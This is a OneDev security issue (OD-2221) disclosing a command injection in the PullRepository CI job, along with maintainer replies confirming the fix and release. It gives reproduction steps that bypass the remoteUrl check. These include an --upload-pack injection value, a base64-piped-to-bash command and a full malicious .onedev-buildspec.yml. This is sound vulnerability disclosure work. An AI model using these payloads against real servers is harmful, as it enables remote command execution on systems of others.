Onedev is vulnerable to Command Injection via PullRepository job in Pipeline (OD-2221)
byc_404 opened 1 year ago

Summary

Onedev provides users with CI/CD functionality, allowing them to select various pre-defined tasks for execution. The Repository Sync / Pull from Remote job is designed to perform pull operations from remote repositories, receiving parameters such as remoteUrl and refs.

In the creation panel, if an invalid remoteUrl is submitted, the backend validation logic will display an error: Only http/https protocol is supported.

Pasted image 20241220145607.png

However, by directly editing the .onedev-buildspec.yml file, this check can be bypassed, allowing malicious parameters to be passed.

Additionally, when Onedev executes commands, the basic command format is:

git fetch $remoteUrl $refs:refs

This means we can modify the remoteUrl to --upload-pack=whoami to execute malicious commands.

However, during command execution, other methods such as getRemoteUrlWithCredential are also invoked:

public String getRemoteUrlWithCredential(Build build) {
    String encodedPassword = null;
    if (getPasswordSecret() != null) {
        try {
            String password = build.getJobAuthorizationContext().getSecretValue(getPasswordSecret());
            encodedPassword = URLEncoder.encode(password, StandardCharsets.UTF_8.name());
        } catch (UnsupportedEncodingException e) {
            throw new RuntimeException(e);
        }
    }

    String protocol = StringUtils.substringBefore(getRemoteUrl(), "//");
    String hostAndPath = StringUtils.substringAfter(getRemoteUrl(), "//");
    
    String remoteUrlWithCredentials = protocol + "//";
    
    if (getUserName() != null && encodedPassword != null)
        remoteUrlWithCredentials += getUserName() + ":" + encodedPassword + "@" + hostAndPath;
    else if (getUserName() != null)
        remoteUrlWithCredentials += getUserName() + "@" + hostAndPath;
    else if (encodedPassword != null)
        remoteUrlWithCredentials += encodedPassword + "@" + hostAndPath;
    else
        remoteUrlWithCredentials += hostAndPath;
    
    return remoteUrlWithCredentials;
}

This breaks the existing format, rendering many payloads unusable.

Ultimately, we can bypass this check by using a command format containing //, as shown below:

--upload-pack=touch$IFS/tmp//pwned\necho pwned

This results in a command injection, allowing attackers to execute arbitrary commands on the Onedev server.

Steps to Reproduce

Environment: Latest Docker version 1dev/server:11.6.6

  1. Log in with a user who has code writer permissions for a project.

  2. Add a .onedev-buildspec.yml file to the project.

  3. Construct a payload for the desired command execution. For example, to execute touch /tmp/aaa, first encode the command in base64: dG91Y2ggL3RtcC9hYWEK.

    The command to execute would be: echo dG91Y2ggL3RtcC9hYWEK |base64 -d|bash -i.

    The final .onedev-buildspec.yml content would be:

    version: 38
    jobs:
    - name: demo job
      steps:
      - !PullRepository
        name: testjob
        remoteUrl: |
          --upload-pack=touch$IFS/tmp//pwned
          echo dG91Y2ggL3RtcC9hYWEK |base64 -d|bash -i
        refs: aaa/bbb
        withLfs: true
        force: false
        condition: ALWAYS
      retryCondition: never
      maxRetries: 3
      retryDelay: 30
      timeout: 3600
    

Pasted image 20241220152622.png

  1. Save and execute the job. The command will execute successfully.

  2. Check the container to verify the created file.

Pasted image 20241220153148.png

  • Robin Shen commented 1 year ago

    Thanks for the report. Will get this addressed soon.

  • OneDev changed state to 'Closed' 1 year ago
    Previous Value Current Value
    Open
    Closed
  • OneDev commented 1 year ago

    State changed as code fixing the issue is committed (bccaf576)

  • OneDev changed state to 'Released' 1 year ago
    Previous Value Current Value
    Closed
    Released
  • OneDev commented 1 year ago

    State changed as build OD-5797 is successful

  • byc_404 changed confidential 4 months ago
    Previous Value Current Value
    true
    false
  • byc_404 commented 4 months ago

    Hi, Since the vulnerability can now be disclosed, I’ve updated the issue status from confidential to open.

  • bufferUnderrun commented 4 months ago

    @baiyecha404 nice find 👍

issue 1/1
Type
Security Vulnerability
Priority
Major
Assignee
Labels
No labels
Issue Votes (0)
Watchers (4)
Reference
OD-2221
Please wait...
Connection lost or session expired, reload to recover
Page is in error, reload to recover